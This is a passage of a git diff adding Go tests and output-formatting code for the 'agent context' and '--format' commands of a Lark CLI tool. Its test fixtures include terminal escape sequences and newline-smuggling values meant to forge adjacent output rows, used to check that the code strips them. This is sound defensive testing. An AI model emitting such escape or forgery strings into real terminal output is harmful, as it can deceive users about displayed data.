t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetEmitsDetail pins that `context get` returns a single context
|
||||
// detail.
|
||||
func TestContextGetEmitsDetail(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" {
|
||||
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
|
||||
}
|
||||
if data["title"] != "销售分析" {
|
||||
t.Errorf("data.title should be echoed, got %v", data["title"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetError surfaces a provider GetContext failure.
|
||||
func TestContextGetError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextGetRun(opts); err == nil {
|
||||
t.Fatal("a GetContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextGetInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListWithJq exercises the --jq output branch for list.
|
||||
func TestContextListWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
|
||||
}})
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --jq should not error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListPretty exercises the --format pretty human-view branch for
|
||||
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
|
||||
// stripped of ANSI escapes.
|
||||
func TestContextListPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
|
||||
t.Errorf("pretty output should start with a header row, got %q", s)
|
||||
}
|
||||
if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
|
||||
t.Errorf("pretty output should contain context_id and title, got %q", s)
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
|
||||
}
|
||||
if strings.Contains(s, `"ok"`) {
|
||||
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
|
||||
// filtered through the jq expression.
|
||||
func TestContextGetWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Cmd.Flags().String("jq", "", "")
|
||||
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{ContextID: ctxID}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --jq should not error: %v", err)
|
||||
}
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetPretty pins the added --format pretty branch on context get:
|
||||
// key: value lines with the tasks count, title ANSI-stripped.
|
||||
func TestContextGetPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
|
||||
return &iagent.ContextDetail{
|
||||
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
|
||||
Tasks: []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "tasks: 1"} {
|
||||
if !strings.Contains(s, want) {
|
||||
t.Errorf("pretty output should contain %q, got %q", want, s)
|
||||
}
|
||||
}
|
||||
if strings.Contains(s, "\x1b") {
|
||||
t.Errorf("ANSI sequences in title must be stripped: %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
|
||||
func findSub(cmd *cobra.Command, name string) *cobra.Command {
|
||||
for _, c := range cmd.Commands() {
|
||||
if c.Name() == name {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
|
||||
// RunE) with list/get/delete leaves.
|
||||
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
|
||||
cmd := NewCmdAgentContext(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agent context group should not have RunE")
|
||||
}
|
||||
want := []string{"list", "get", "delete"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand context %s", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
|
||||
// the default flip: --format defaults to json.
|
||||
func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextList(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("context list with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil || fl.DefValue != "json" {
|
||||
t.Errorf("context list --format default should flip to json, got %+v", fl)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
|
||||
// the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
|
||||
cmd := NewCmdAgentContextGet(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
|
||||
t.Errorf("context get ref+ctx-id should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context get should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
|
||||
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
|
||||
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
|
||||
cmd := NewCmdAgentContextDelete(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
|
||||
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
|
||||
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
|
||||
}
|
||||
if cmd.Flags().Lookup("yes") == nil {
|
||||
t.Error("context delete should have a --yes flag")
|
||||
}
|
||||
for _, name := range []string{"format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("context delete should have a --%s flag", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
183
cmd/agent/format.go
Normal file
183
cmd/agent/format.go
Normal file
@@ -0,0 +1,183 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// This file holds the --format surface shared by every agent leaf: value
|
||||
// validation, the pretty renderers (task key:value view, list
|
||||
// header-TSV views) with ANSI stripping for agent-controlled text, and the
|
||||
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
|
||||
// validation error carrying a 用法 hint.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
)
|
||||
|
||||
// formatFlagHelp is the uniform --format help text across every agent leaf
|
||||
// (json is the tree-wide default, pretty the human opt-in).
|
||||
const formatFlagHelp = "output format: json (default) | pretty"
|
||||
|
||||
// validateFormat rejects any --format outside json|pretty as a
|
||||
// validation/invalid_argument error (exit 2). The empty string is accepted for
|
||||
// options structs built directly in tests; the registered flag default is
|
||||
// "json" so a CLI invocation never passes "".
|
||||
func validateFormat(format string) error {
|
||||
switch format {
|
||||
case "", "json", "pretty":
|
||||
return nil
|
||||
}
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"不支持的 --format 值 %q", format).
|
||||
WithParam("--format").
|
||||
WithHint("合法值: json | pretty")
|
||||
}
|
||||
|
||||
// stripANSI sanitizes agent-controlled text before it is written raw to a
|
||||
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
|
||||
// It delegates to validate.SanitizeForTerminal, which is a superset of the
|
||||
// mandated CSI regex:
|
||||
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
|
||||
// Unicode. JSON output paths must NOT use this — programmatic consumers get
|
||||
// the raw data.
|
||||
func stripANSI(s string) string {
|
||||
return validate.SanitizeForTerminal(s)
|
||||
}
|
||||
|
||||
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
|
||||
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
|
||||
// SanitizeForTerminal deliberately preserves those, so without this a value
|
||||
// like "done\nstate: completed" would forge an adjacent field row. TSV
|
||||
// renderers keep plain stripANSI under their documented no-escape exemption.
|
||||
func kvValue(s string) string {
|
||||
s = stripANSI(s)
|
||||
s = strings.ReplaceAll(s, "\n", " ")
|
||||
return strings.ReplaceAll(s, "\t", " ")
|
||||
}
|
||||
|
||||
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
|
||||
func truncateRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
|
||||
// firstTextOf returns the first text Part carried by the task's messages
|
||||
// (the first text message), or "".
|
||||
func firstTextOf(task *iagent.AgentTask) string {
|
||||
for _, m := range task.Messages {
|
||||
for _, p := range m.Parts {
|
||||
if p.Type == "text" && p.Text != "" {
|
||||
return p.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// printTaskPretty renders the task-class pretty view: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count. Every agent-controlled string goes through
|
||||
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
|
||||
// terminal sequences nor forge an adjacent field row.
|
||||
func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
|
||||
if task == nil {
|
||||
fmt.Fprintln(w, "(no task)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "state: %s\n", task.State)
|
||||
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
|
||||
if task.ContextID != "" {
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
|
||||
}
|
||||
if text := firstTextOf(task); text != "" {
|
||||
fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
|
||||
}
|
||||
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
|
||||
}
|
||||
|
||||
// TSV renderers below intentionally do not escape tab/newline in cell values:
|
||||
// a value containing them breaks the column layout. The agent's primary
|
||||
// consumption surface is json; pretty is for human inspection only, so leaving
|
||||
// them unescaped is acceptable.
|
||||
|
||||
// printTaskSummariesTSV renders the list-class pretty view for tasks:
|
||||
// a header row naming the json fields, then one row per task.
|
||||
func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
|
||||
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\n")
|
||||
for _, t := range tasks {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\t%t\n", stripANSI(t.TaskID), stripANSI(t.ContextID), t.State, t.IsTerminal)
|
||||
}
|
||||
}
|
||||
|
||||
// printContextsTSV renders the list-class pretty view for contexts. The
|
||||
// Title is agent-controlled and must be ANSI-stripped.
|
||||
func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
|
||||
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tTITLE\n")
|
||||
for _, c := range contexts {
|
||||
fmt.Fprintf(w, "%s\t%s\t%s\n", stripANSI(c.ContextID), c.CreatedAt, stripANSI(c.Title))
|
||||
}
|
||||
}
|
||||
|
||||
// printContextDetailPretty renders `context get --format pretty` as key: value
|
||||
// lines with the tasks count; the agent-controlled Title (and the id) go
|
||||
// through kvValue so they cannot forge adjacent field rows.
|
||||
func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
|
||||
if detail == nil {
|
||||
fmt.Fprintln(w, "(no context)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
|
||||
if detail.CreatedAt != "" {
|
||||
fmt.Fprintf(w, "created_at: %s\n", detail.CreatedAt)
|
||||
}
|
||||
if detail.Title != "" {
|
||||
fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
|
||||
}
|
||||
fmt.Fprintf(w, "tasks: %d\n", len(detail.Tasks))
|
||||
}
|
||||
|
||||
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
|
||||
// the executing command's Use line, so the hint never drifts from the
|
||||
// registered Use string.
|
||||
func usageHintOf(cmd *cobra.Command) string {
|
||||
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
|
||||
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
|
||||
}
|
||||
return "用法: " + cmd.CommandPath()
|
||||
}
|
||||
|
||||
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
|
||||
// (exit 2) whose hint carries the full usage string — cobra's bare English
|
||||
// "accepts 2 arg(s), received 1" never says WHAT is missing.
|
||||
func exactArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) != n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
|
||||
// exactArgsWithUsage, for leaves with an optional positional (agent list).
|
||||
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
|
||||
return func(cmd *cobra.Command, args []string) error {
|
||||
if len(args) > n {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
|
||||
WithHint("%s", usageHintOf(cmd))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
352
cmd/agent/format_test.go
Normal file
352
cmd/agent/format_test.go
Normal file
@@ -0,0 +1,352 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
|
||||
// only occurs when options structs are built directly in tests) pass.
|
||||
func TestValidateFormat_Valid(t *testing.T) {
|
||||
for _, f := range []string{"", "json", "pretty"} {
|
||||
if err := validateFormat(f); err != nil {
|
||||
t.Errorf("format %q should be valid: %v", f, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
|
||||
// validation/invalid_argument error (exit 2) whose hint lists the legal values
|
||||
// and whose param names the flag with the -- prefix.
|
||||
func TestValidateFormat_Invalid(t *testing.T) {
|
||||
err := validateFormat("yaml")
|
||||
if err == nil {
|
||||
t.Fatal("--format yaml should error (currently silently treated as json)")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
if !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--format" {
|
||||
t.Errorf("param should be --format, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
|
||||
// lark-cli), with a nil Factory: format validation must fire at the RunE
|
||||
// entry, before any Factory access.
|
||||
func agentRootTree() *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
|
||||
root.AddCommand(NewCmdAgent(nil))
|
||||
return root
|
||||
}
|
||||
|
||||
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
|
||||
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
|
||||
// hint, uniformly, before any provider/Factory is touched.
|
||||
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
|
||||
leaves := [][]string{
|
||||
{"agent", "list", "--format", "yaml"},
|
||||
{"agent", "card", "example:x", "--format", "yaml"},
|
||||
{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
|
||||
{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
|
||||
{"agent", "task", "list", "example:x", "--format", "yaml"},
|
||||
{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
|
||||
{"agent", "context", "list", "example:x", "--format", "yaml"},
|
||||
{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
|
||||
{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
|
||||
}
|
||||
for _, argv := range leaves {
|
||||
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
|
||||
root := agentRootTree()
|
||||
root.SetOut(&bytes.Buffer{})
|
||||
root.SetErr(&bytes.Buffer{})
|
||||
root.SetArgs(argv)
|
||||
err := root.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("%v should report a --format validation error", argv)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T: %v", err, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || !strings.Contains(p.Hint, "json | pretty") {
|
||||
t.Errorf("hint should contain json | pretty, got %+v", p)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestFormatHelpTextUniform pins the mandated uniform help text
|
||||
// "output format: json (default) | pretty" across every leaf that has --format.
|
||||
func TestFormatHelpTextUniform(t *testing.T) {
|
||||
cmds := map[string]*cobra.Command{
|
||||
"list": NewCmdAgentList(nil),
|
||||
"card": NewCmdAgentCard(nil),
|
||||
"send": NewCmdAgentSend(nil, nil),
|
||||
"task get": NewCmdAgentTaskGet(nil),
|
||||
"task list": NewCmdAgentTaskList(nil),
|
||||
"task cancel": NewCmdAgentTaskCancel(nil),
|
||||
"context list": NewCmdAgentContextList(nil),
|
||||
"context get": NewCmdAgentContextGet(nil),
|
||||
"context delete": NewCmdAgentContextDelete(nil),
|
||||
}
|
||||
for name, cmd := range cmds {
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Errorf("%s should have a --format flag", name)
|
||||
continue
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
|
||||
}
|
||||
if fl.Usage != "output format: json (default) | pretty" {
|
||||
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
|
||||
// all removed before agent text reaches a terminal.
|
||||
func TestStripANSI(t *testing.T) {
|
||||
for _, tt := range []struct{ in, want string }{
|
||||
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
|
||||
{"a\x1bb", "ab"}, // bare ESC
|
||||
{"t\x1b]0;evil\x07x", "tx"},
|
||||
{"clean 文本", "clean 文本"},
|
||||
} {
|
||||
if got := stripANSI(tt.in); got != tt.want {
|
||||
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
|
||||
// key: value with state / task_id / context_id / first text message truncated
|
||||
// to 120 runes / artifacts count — and the agent-controlled text stripped of
|
||||
// ANSI escapes.
|
||||
func TestPrintTaskPretty(t *testing.T) {
|
||||
long := strings.Repeat("字", 130)
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: "sess_1",
|
||||
State: iagent.StateCompleted,
|
||||
Messages: []iagent.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
|
||||
}},
|
||||
Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
|
||||
}
|
||||
if strings.Contains(text, long) {
|
||||
t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
|
||||
}
|
||||
if !strings.Contains(text, strings.Repeat("字", 120)) {
|
||||
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
|
||||
// fix: agent text containing newlines must not be able to fake an adjacent
|
||||
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
|
||||
// to spaces, so exactly one state: line exists.
|
||||
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
State: iagent.StateFailed,
|
||||
Messages: []iagent.Message{{
|
||||
Role: "agent",
|
||||
Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
|
||||
}},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, task)
|
||||
|
||||
var stateLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
if strings.HasPrefix(line, "state: ") {
|
||||
stateLines++
|
||||
}
|
||||
}
|
||||
if stateLines != 1 {
|
||||
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "state: failed") {
|
||||
t.Errorf("the real state line should remain, got:\n%s", out.String())
|
||||
}
|
||||
if !strings.Contains(out.String(), "text: done state: completed ok") {
|
||||
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
|
||||
// the context title row.
|
||||
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextDetailPretty(out, &iagent.ContextDetail{
|
||||
ContextID: "sess_1",
|
||||
Title: "标题\ncontext_id: forged",
|
||||
})
|
||||
var idLines int
|
||||
for _, line := range strings.Split(out.String(), "\n") {
|
||||
if strings.HasPrefix(line, "context_id: ") {
|
||||
idLines++
|
||||
}
|
||||
}
|
||||
if idLines != 1 {
|
||||
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
|
||||
func TestPrintTaskPretty_NilTask(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskPretty(out, nil)
|
||||
if out.Len() == 0 {
|
||||
t.Error("nil task should print a placeholder line")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
|
||||
// naming the json fields, then one tab-separated row per task.
|
||||
func TestPrintTaskSummariesTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printTaskSummariesTSV(out, []iagent.TaskSummary{
|
||||
{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true},
|
||||
})
|
||||
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
|
||||
if len(lines) != 2 {
|
||||
t.Fatalf("should have a header + 1 data row, got %q", out.String())
|
||||
}
|
||||
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL" {
|
||||
t.Errorf("header columns should match the json field names, got %q", lines[0])
|
||||
}
|
||||
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue" {
|
||||
t.Errorf("data row mismatch, got %q", lines[1])
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintContextsTSV pins the context-list pretty spec: header row plus
|
||||
// rows, with the agent-controlled Title stripped of ANSI escapes (Task 10
|
||||
// review fix).
|
||||
func TestPrintContextsTSV(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printContextsTSV(out, []iagent.ContextSummary{
|
||||
